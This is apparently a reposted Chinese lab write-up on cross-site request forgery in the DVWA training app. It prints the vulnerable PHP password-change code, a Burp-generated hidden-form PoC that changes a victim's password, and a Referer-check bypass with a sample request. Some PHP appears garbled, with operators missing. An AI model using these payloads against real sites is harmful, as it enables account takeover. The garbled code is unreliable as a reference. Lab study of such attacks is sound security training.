DVWA笔记系列-CSRF

Posted 六叶艹

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA笔记系列-CSRF相关的知识,希望对你有一定的参考价值。

0x01 CSRF 简介

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

0x02 CSRF 原理

CSRF攻击原理如下:

  1. 首先正常的用户输入口令登陆了网站A(被攻击站点)

  2. 网站A(被攻击站点)判断该用户口令合法,生产Cookie保存在浏览器中

  3. 用户在没关闭网站A的情况下,访问了网站B的攻击页面(攻击者站点)

  4. 网站B(攻击者站点)利用网站A留在浏览器的cookie,访问网站A的某个URL,并偷偷做了该URL能做的事情

CSRF攻击原理图:

0x03 DVWA-CSRF-LOW

说完原理,我们直接看DVWA中CSRF的代码吧,下面是LOW级别的代码:


<?php 
if( isset( $_GET'Change' ] ) ) { 
    
// Get input 
    
$pass_new  $_GET'password_new' ]; 
    
$pass_conf $_GET'password_conf' ]; 
    
// Do the passwords match? 
    
if( $pass_new == $pass_conf ) { 
        
// They do! 
        
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
        
$pass_new md5$pass_new ); 
        
// Update the database 
        
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
        
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );
        
// Feedback for the user 
        
echo "<pre>Password Changed.</pre>"
    } 
    else { 
        
// Issue with passwords matching 
        
echo "<pre>Passwords did not match.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 
}
?> 


LOW级别的代码很简单,没有Referer也没有token校验,只是单纯的比较一下两次输入的密码一不一样,我们可以直接利用Burp实现制造一个CSRF页面,如下图,首先点击右键:

DVWA笔记系列-CSRF

构造成功,得到html代码,接着我们直接把他复制到服务器上,保存为一个html文件,在诱使别人点击,即可以实现CSRF攻击。


<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="http://192.168.203.141/DVWA-master/DVWA-master/vulnerabilities/csrf/">

      <input type="hidden" name="password&#95;new" value="huang" />

      <input type="hidden" name="password&#95;conf" value="huang" />

      <input type="hidden" name="Change" value="Change" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>


0x04 DVWA-CSRF-Medium


<?php 

if( isset( $_GET'Change' ] ) ) { 
    
// Checks to see where the request came from 
    
if( stripos$_SERVER'HTTP_REFERER' ] ,$_SERVER'SERVER_NAME' ]) !== false ) { 
        
// Get input 
        
$pass_new  $_GET'password_new' ]; 
        
$pass_conf $_GET'password_conf' ]; 
        
// Do the passwords match? 
        
if( $pass_new == $pass_conf ) { 
            
// They do! 
            
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
            
$pass_new md5$pass_new ); 
            
// Update the database 
            
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
            
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );
            
// Feedback for the user 
            
echo "<pre>Password Changed.</pre>"
        } 
        else { 
            
// Issue with passwords matching 
            
echo "<pre>Passwords did not match.</pre>"
        } 
    } 
    else { 
        
// Didn't come from a trusted source 
        
echo "<pre>That request didn't look correct.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 

?> 


Medium级别在Low级别的基础上了加了HTTP_REFERER校验与服务器校验,具体代码如下:


 if( stripos$_SERVER'HTTP_REFERER' ] ,$_SERVER'SERVER_NAME' ]) !== false )


stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),即该行代码具体作用是判断服务器名是否在Referer字段中。

我们来看burp截取的数据包:

DVWA笔记系列-CSRF

红线部分即为后端加的REFERER字段,如果是黑盒测试的话,我们可以先把REFERER字段后面的值去除,在发送该数据包,然后判断服务器是否校验REFERER的值。但之前我们以前审计了该密码重置的代码。我们知道服务端代码只用stripos()函数来判断服务器名是否在返回的REFERER字段中。这样的话,我们绕过他的检验就很简单了,我们可以这样构造攻击URL:
http://攻击者IP/192.168.203.141.html

我们在BURP中尝试一下,下面是我修改过后的数据包:



GET /DVWA-master/DVWA-master/vulnerabilities/csrf/?password_new=huangguohua&password_conf=huangguohua&Change=Change HTTP/1.1

Host: 192.168.203.141

Proxy-Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://127.0.0.1/192.168.203.141.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: security=medium; PHPSESSID=45uteveeouuha9l5hn39uh1151


发现可以,成功绕过

DVWA笔记系列-CSRF

我们先按Low级别上面讲的,先构造好CSRF页面:

诱使用户点击:

攻击成功。

0x05 结束语

High级别的增加Token校验和session校验,单纯的只是CSRF是不行的,要打组合拳,要通过XSS+CSRF组合才行,这里就不细说了。



以上是关于DVWA笔记系列-CSRF的主要内容,如果未能解决你的问题,请参考以下文章

笔记网易微专业-Web安全工程师-04.WEB安全实战-1.DVWA部署

编写有CSRF后台验证的密码穷举登录

DVWA学习笔记

DVWA系列----DVWA简介

DVWA系列----DVWA环境搭建

重读dvwa的笔记